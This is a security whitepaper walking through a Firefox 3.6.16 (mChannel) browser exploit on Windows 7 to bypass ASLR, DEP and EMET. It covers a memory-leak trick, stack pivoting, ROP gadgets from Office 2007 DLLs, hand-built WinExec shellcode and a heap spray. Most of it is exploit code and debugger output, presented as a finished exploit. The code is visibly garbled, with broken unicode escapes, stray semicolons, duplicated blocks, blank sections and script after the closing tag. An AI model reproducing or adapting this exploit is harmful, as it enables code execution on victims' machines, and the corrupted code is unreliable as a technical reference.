Whitepaper on
Bypassing ASLR/DEP

By
Vinay Katoch
Vulnerability Research Specialist
INTRODUCTION

Data Execution Prevention (DEP) is a security feature included in modern operating systems. It is known to be available in Linux, Mac OS X, and Microsoft Windows operating systems and is intended to prevent an application or service from executing code from a non-executable memory region. Whereas Address space layout randomization (ASLR) is a computer security technique which involves randomly arranging the positions of key data areas, usually including the base of the executable and position of libraries, heap, and stack, in a process's address space. In this paper we will cover the techniques to bypass these security mechanisms. We will also look at how custom shellcodes are developed, and this paper also looks at the EMET (Enhanced Mitigation Experience Toolkit) bypass.
BEFORE WE MOVE AHEAD

In defeating DEP you at least need some information that will evade the ASLR. There are mainly two ways:
1. Any anti ASLR modules gets loaded into the target application. I mean you have the base address of any module at fixed location always even after the system restart.
2. You get a pointer leak from a memory leak/buffer overflow/any zero day. In this technique you can adjust the offsets to grab the base address of the module whose pointer gets leaked.

Now, you have evaded the ASLR. Now comes the DEP. Data Execution Prevention mitigates the most of the attacks by denying the code execution from non executable memory, earlier until Windows XP SP2, the stack and heap were executable, but now they no more possess execute attribute. But there are methods, you have a pointer, so you can either make your shellcode from ROP, ROP is a little advanced return to LibC attack and is return oriented programming. The main idea is to execute the necessary instructions nearby the ‘return’ instruction, but for return instruction, you need to control the stack, the top of the stack must have the address of next instruction where you want to land and all these instructions are chosen or discovered from already loaded executable modules and from there executable code pages. One more thing to remember, most of the ROP chains produced by automated scripts, are not suitable for certain type of vulnerabilities, then you might know how to develop one of yours own. Using the ROP you can either develop whole of your shellcode or just for the purpose of defeating DEP and then landing on the executable marked shellcode. Remember, the OS has very good randomization of module bases, stack and heap and pointers, but not the pointers to the pointers, in certain places, you can easily find, fixed addresses/pointer to another pointer inside any other module or to any export of any dll. The memory leaks also help, e.g.

```javascript
function alfa(){
    var a=document.cookie;
}
var a=window.setTimeout(alfa,100);
alert(a.toString(16));
```

The above leak is little old now, and provides us with a memory address inside mshtml.dll at the address rendered by a.toString(16)-1 This was a good pointer to pointer, similarly, 0x7ffe360 in this line you can find the base address of ntdll.dll in win7 64 bit whereas in all windows 32 bit versions, 7ffe300 has the address of sysenter and 0x7ffe304 the ret instruction. But all these are pointer to pointers i.e. ** whereas to form a shellcode dynamically, we need a direct pointer. The custom shellcodes manufactured dynamically from memory leaks of pointers, can be simple and provide us with more control, than the other traditional shellcodes developed by msf etc. The main advantage of custom shellcodes made by pointer leaks are that, you can easily evade the mitigations like, EMET (enhanced mitigation toolkit) and other AV engines. Let us proceed with an example. The example vulnerability (mchannel) is affecting Firefox 3.6.16.
In ASLR and DEP bypassing techniques, remember there is no place for NOP and NOPsled. Only precision matters. The sprayer must be developed in such a way that it will place your chunks (ROP + shellcode) at fixed locations. The slip of even a single byte is non-preferable as it will make our ROP to land at wrong addresses. The precision can be achieved by heap manipulation techniques. By proper allocation of calculated sized heap chunks, we can more precisely place our chunks at same addresses every time.

Let us proceed with the example and in coding. The example vulnerability (mchannel) is affecting Firefox 3.6.16 and its working exploits are already available. But we'll develop the ROP and shellcode manually and hand crafted without any need for automated scripts as in some cases automation misses certain points and makes the things complex and the solutions are not so intelligent and simple.

```html
<html>
<head>
</head>
<body>
<object id="d"></object>
<script>
function ignite() {
    var e=document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new object,0);
e.data="";
}
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>
```

In this vulnerability, we can control the ECX register as the place from where EAX register will grab the value can be controlled by a single object instantiation in heap.
var obj = unescape("\x00%u0c10"); // will make ECX register to point to at // byte of our chunk will be loaded.

Remember to rename the CrashReporter.exe from Mozilla folder inside your program files. And attach the debugger to the Firefox before exploiting the vulnerability.

Next comes the sprayer and ROP +shellcode. First of all we'll use dummy chunk in place of ROP+shellcode and slowly develop the ROP and shellcode over the dummy chunk. so let us proceed. For countering ASLR we'll use the GrooveUtil.dll & GR469A~1.DLL which comes along with MS office 2007 in GrooveMonitor. These DLLs gets loaded into browsers by default if default installation of MS OFFICE 2007 is present.

```html
<html>
<head>
</head>
<body>
<object id="d"></object>
<script>
function ignite() {
    var e=document.getElementById("d");
    e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null, new Object, 0);
    var vftable = unescape("\x00%u0c10");
    // ROP using GrooveUtil.dll :
    var heap = unescape("% u0101%u0102
% u0103%u0104
% u0105%u0106
% u0107%u0108
% u0109%u010a
% u010b%u010c
% u010d%u010e
% u010f%u0111
% u0112%u0113
% u0114%u0115
% u0116%u0117
% u0118%u0119
% u011a%u011b
% u011c%u011d
% u011e%u011f
")
    // Shellcode : */
    +unescape("% u9090% u9090% u9090% u9090%
% uCCCC% uCCCC% uCCCC% uCCCC%
% uBBBB% uCCCC% uDDDD% uEEEE"

```
In code we have to place a blank space between "%" and "u" as unicode support is converting the blocks into respective characters, remember to remove these spaces from all blocks inside unescape blocks. We are going to develop this exploit for win7 - win32 (you may check offsets for winxp, even offsets in win32 & wow64 win7 also differs check them and fix them). Also install the EMET from Microsoft’s website. It mitigates most of the shellcodes. But our shellcode will also bypass it and will be compact.

The Result of above code:

EAX 0400B620  
ECX 0c100000  
EDX 0313d970  
EBX 043d0e04  
ESP 0018DFCC  
EBP 0018E1D8  
ESI 804b0002  
EDI 80000000  
EIP 010E010D

The EIP register has been controlled by loading in a value from our chunk 0x010E010D. This value comes from "%u010D%u 01E". So we’ll have to place the pointer of our first ROP gadget at "%u 010D%u 01E" place. The first task is to develop the ROP now and in ROP the first and most important and challenging task is the stack pivoting. In stack pivot, the ESP register is loaded with the address to our own allocated heap chunk so that the browser will consider the allocated heap chunk as stack and this new manipulated stack contains all the return addresses and arguments to the called functions.

What we have to do actually is we need to either move or swap the register containing address to our allocated heap block into ESP register. Or pop an address of our heap block from stack into ESP register, there can be several instructions. In this case the EAX register contains the pointer to pointer (pointer to address) of our allocated heap block and ecx contain the direct address to our allocated heap chunk.

So we need to discover the gadgets which incorporates either eax or ecx registers in case of stack pivoting.
There are certain instructions like:

```
XCHG ECX,ESP
Ret
```

```
mov esp,ecx
ret
```

```
XCHG dword ptr[EAX],ESP
ret
```

```
mov ESP,dword ptr[EAX]
ret
```

or like these can be of help. We could not find anything useful. But following gadget was discovered:

```
6623BE51 : XCHG EAX,ESP
ret
```

in GR469A~1.DLL

We need to replace the “pointer to pointer” with direct pointer in EAX register before executing this gadget. So we need to discover something like

```
mov EAX,dword ptr[eax]
call eax
ret
```

But, this following gadget was discovered and was pretty helpful:

```
661C5B33 : MOV EAX,DWORD PTR DS:[ECX]
CALL DWORD PTR DS:[EAX+8]
```

This gadget needs the address to be loaded into eax register at place where ECX register is pointing. The ECX register points to first bytes of our heap block and then the next call will be made to the address at ECX + 8. And the debugger out put:

```
0C100000 01 01 02 01 03 01 04 01
0C100008 05 01 06 01 07 01 08 01
0C100010 09 01 0A 01 0B 01 0C 01 ...
0C100018 0D 01 0E 01 0F 01 11 01 ...
0C100020 12 01 13 01 14 01 15 01
0C100028 16 01 17 01 18 01 19 01
0C100030 1A 01 1B 01 1C 01 1D 01
0C100038 1E 01 1F 01 90 90 90 90
0C100040 90 90 90 90 CC CC CC CC CC
0C100048 CC CC CC BB BB CC CC CC CC
0C100050 DD DD EE EE 63 61 6C 63 calc.exe...
0C100058 2E 65 78 65 00 00 CC CC .exe...
0C100060 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100068 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100070 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100078 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100080 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100088 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100090 0C 0C 0C 0C 0C 0C 0C 0C ........
0C100098 0C 0C 0C 0C 0C 0C 0C 0C ........
```
We need to place the first gadget address at 0C100018: 0D 01 0E 1E and change the 0C100000: 01 01 02 01 with address to (address of offset to the address of next gadget[ XCHG EAX,ESP;ret ])-8 that is at `%u 0107%u 0108" if at 0xC000000 has 0x0C100004

See the following code section:

```javascript
var heap = unescape(`
/* ROP : */
"% u0004%u 0c10"
+"% u0103%u 0104"
+"%u 0105% u0106"
+"%u BE51%u 6623" // XCHG EAX,ESP;ret
+%u 0109%u 010a
+%u u010b%u 010c"
+"%u 5b33% u661c" // :GR469A~1.DLL
+"%u 010f%u 0111"
+"%u 0112% u0113"
+"%u 0114%u 0115"
+"%u 0116%u 0117"
+"%u 0118% u0119"
+"% u011a%u 011b"
+"%u 011c%u 011d"
+"%u 011e%u 011f"
`);
```

It will result in loading our intend value into ESP register as following registers dump shows:

```
EAX 0029DF08
ECX 0C100000
EDX 03019160
EBX 048C0124
ESP 0C100008
EBP 0029E118
ESI 804B0002
EDI 80000000
EIP 01040103
```

And this will result into our heap block transformed into stack as shown below:

```
0C100000 0C100004
0C100004 01040103
0C100008 01060105
0C10000C 6623BE51 GR469A-1.6623BE51
0C100010 010A0109
0C100014 010C010B firefox.010C010B
0C100018 661C5B33 GR469A-1.661C5B33
0C10001C 0111010F firefox.0111010F
0C100020 01130112 firefox.01130112
0C100024 01150114 firefox.01150114
0C100028 01170116 firefox.01170116
0C10002C 01190118
0C100030 011B011A
0C100034 011D011C
0C100038 011F011E
0C10003C 90909090
0C100040 90909090
0C100044 CCCCCCCC
0C100048 CCCCCCCC
0C10004C CCCCCCCC
0C100050 EEEEDDDD
0C100054 636C6163
0C100058 6578652E
0C10005C CCCCC000
```
<table>
<thead>
<tr>
<th>Offset</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0c100060</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100064</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100068</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c10006c</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100070</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100074</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100078</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c10007c</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100080</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100084</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100088</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c10008c</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100090</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100094</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c100098</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c10009c</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c1000a0</td>
<td>0c0c0c0c</td>
</tr>
<tr>
<td>0c1000a4</td>
<td>0c0c0c0c</td>
</tr>
</tbody>
</table>
We have completed the first phase with successful stack pivot, so the next return instruction will land on the address in our stack (our heap block). Now next phase is to get a pointer to the kernel32.VirtualProtect function and put its arguments on our stack to bypass the DEP.

The address to VirtualProtect will follow its arguments, it takes 4 arguments, the first argument is the address to the first byte of the shellcode, the second argument is the size of the shellcode block; this can be any dword number but at least the size of shellcode, 3rd argument is the FLAG the value must be 0x00000040 to set the attribute of memory page containing shellcode as PAGE_READ_WRITE_EXECUTE. 4th argument is the pointer to any writable location where old attribute value will be saved, this will be 0x0c0c0c0c in our case or whatever make sure it should be writable.

The GrooveUtil.dll contains a call to VirtualProtect at : 0x68F2F1DD as:

```
68F2F1DD  FF15 BC71F668 CALL DWORD PTR DS:[<KERNEL32.VirtualProtect>
68F2F1E3  8BC6 MOV EAX,ESI
68F2F1E5  5E POP ESI
68F2F1E6  C9 LEAVE
68F2F1E7  C2 0400 RETN 4
```

We need to fix certain things on our stack prior to call to VirtualProtect.

```
POP ESI
LEAVE
RETN 4
```

The instruction that will cause trouble is LEAVE it fixes the stack by dissolving the stack frame. The stack frame is the block between ESP and EBP, and until now the EBP register points to an address that will make us lose our stack once again, so the EBP must contain an address just before the start of shellcode. Now we have the following code:
And it will result into the successful DEP bypass and EIP now lands on our shellcode but the debugger break is called as Oxcc instruction is countered.
FORMING THE SHELLCODE

Now comes the next phase of our mission, the shellcode formation. We have two registers containing addresses within GR469A~1.dll.

\[
\begin{align*}
\text{EBX} & \rightarrow 6623\text{BE}51 \quad \text{GR469A~1.6623}\text{BE}51 \\
\text{EDI} & \rightarrow 661\text{C}5\text{B}33 \quad \text{GR469A~1.661}\text{C}5\text{B}33
\end{align*}
\]

We need to find any call to any Kernel32.dll export function and then we'll make EAX register to point to the kernel32 export, now we can add or subtract the proper offset (These offsets are OS dependent you may need to calculate in your own cases) to make EAX point to kernel32.WinExec function, then we'll push the arguments, it takes two arguments, first pointer determines whether the window is shown for executed command or not and second argument is the pointer to the command line you want to execute. Following instructions will work for us as EDI contains an address inside the dll, we need to fix it by adding an offset to make it point to the location where address of export Kernel32.dll is located:

\[
\begin{align*}
81\text{C}7 & \ 6\text{D}980\text{F}0 \quad \text{ADD} \quad \text{EDI}, 79\text{86D} \quad \\
\end{align*}
\]

Following will be the javascript unicode representation for it:

"% uc781%u 986D%u 0007"

Remember interchange the bytes in pair, if the number of bytes is odd then the beginning of last pair can be made to a nop 90. Then we will take the address of Kernel32 address into EAX register from pointer to pointer [EDI]:

\[
\begin{align*}
8\text{B}07 & \quad \text{MOV} \quad \text{EAX}, \text{DWORD} \quad \text{PTR} \quad \text{DS} \left[ \text{EDI} \right]
\end{align*}
\]
this will yield “%u 07B” The EAX now contains the address of “Kernel32.WaitForSingleObject”.

The RVA of WinExec is as follows:

Now we need to calculate the offset:

So we need to add EAX + 3F6F5 to make EAX point to WinExec.

In javascript it will be:

Then we'll push 5 as an argument to WinExec.

This becomes

5 means window will be shown.

Then we have ecx pointing to somewhere in our heap block.

We need to fix it also to make it to point to the command to be executed by adding 0x8E it will point to calc.exe.

Its javascript block will be:
and push ecx on stack

```
PUSH ECX
```

Its javascript will be:

```
"%u 9051"
```

And now the hotspot:

```
CALL EAX
```

```
"%u D0FF"
```

And with this, you will hit the target! But wait, we also need to terminate the process gently. So copy the eax to some other register like esi

Then fix esi to point to TerminateProcess and push its argument it needs the handle to process, the pseudo handle to current process is 0xFFFFFFFF or you need to push -1 and call esi. Then the command buffer will also be in same manner.

```
calc.exe
"%u 6163% u636c% u652e%u 6578%u 0000"
```
Exploit code is ready!

And finally after spending a lot of time, we have the exploit code ready. 😊 The complete exploit code given below with handcrafted & compact shellcode will even mitigate EMET mechanism:

```html
<html>
<head>
</head>
<body>
<object id="d"></object>
<script>
function ignite() {
    var e = document.getElementById("d");
    e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null, new Object, 0);
    var vftable = unescape("\x00% 0c10");
    var heap = unescape("% u004% u0c10") +
    "% u8c88% u68f1"  // POP EDI; POP EBX; POP ESI; RETN
    +"% u0105% u0106"  //
    +"% u8e51% u6623"  // XCHG EAX,ESP;ret
    +"% u0030% u0c10"
    +"% u7c2a% u68f0"  // POP EDI; POP EBP; RETN
    +"% 5b33% u661c"  // :GR469A-1.DLL
    +"% u8c88% u68f1"  // POP EDI; POP EBX; POP ESI; RETN
    +"% u8e51% u6623"  // XCHG EAX,ESP;ret
    +"% u0030% u0c10"
    +"% u7c2a% u68f0"  // POP EDI; POP EBP; RETN
    +"% u5833% u661c"  // :GR469A-1.DLL
    +"% u9090% u9090"  // Size of the Page, you can adjust it
    +"% u0040% u0000"  // PAGE_EXECUTE_READ_WRITE
    +"% u0038% u0c10"  // will be popped in esi
    +unescape("% u9090% u9090");  // will be popped in esi
    +"% u9090% u9090"  // Size of the Page, you can adjust it
    +"% u0040% u0000"  // PAGE_EXECUTE_READ_WRITE
    +"% u0038% u0c10"  // will be popped in esi
    +unescape("% u9090% u9090");  // Size of the Page, you can adjust it
    +"% u9090% u9090"
    +"% u7c2a% u68f0"  // POP EDI; POP EBP; RETN
    +"% u5833% u661c"  // :GR469A-1.DLL
    +"% u9090% u9090"  // Size of the Page, you can adjust it
    +"% u0040% u0000"  // PAGE_EXECUTE_READ_WRITE
    +"% u0038% u0c10"  // will be popped in esi
    +unescape("% u9090% u9090");  // Size of the Page, you can adjust it
    +"% u9090% u9090"
</script>
</body>
</html>
```
var vtable = unescape("% u0c0c%u 0c0c");
while(vtable.length < 0x10000) {vtable += vtable;}

var heapblock = heap+vtable.substring(0,0x10000/2-heap.length*2);
while (heapblock.length<0x80000) {heapblock += heap+heapblock;}
var finalspray = heapblock.substring(0,0x80000 - heap.length - 0x24/2 - 0x4/2)
- 0x2/2);

var spray = new Array();
for (var iter=0;iter<0x100;iter++){
spray[iter] = finalspray+heap;
}
e.data="";
</script>
<input type=button value="Ignite" onclick="ignite()" />
</body>
</html>
ABOUT SECFENCE:
Secfence Technologies is a pure-play Information Security Company based out of India providing InfoSec Services, Trainings & Products. We focus on both offensive and defensive sides of security. For more details visit [www.secfence.com](http://www.secfence.com).

REFRENCES:


(This article originally appeared as series of posts by the author on Garage4Hackers, a dedicated and excellent platform for security enthusiasts and professionals)

-End of Paper-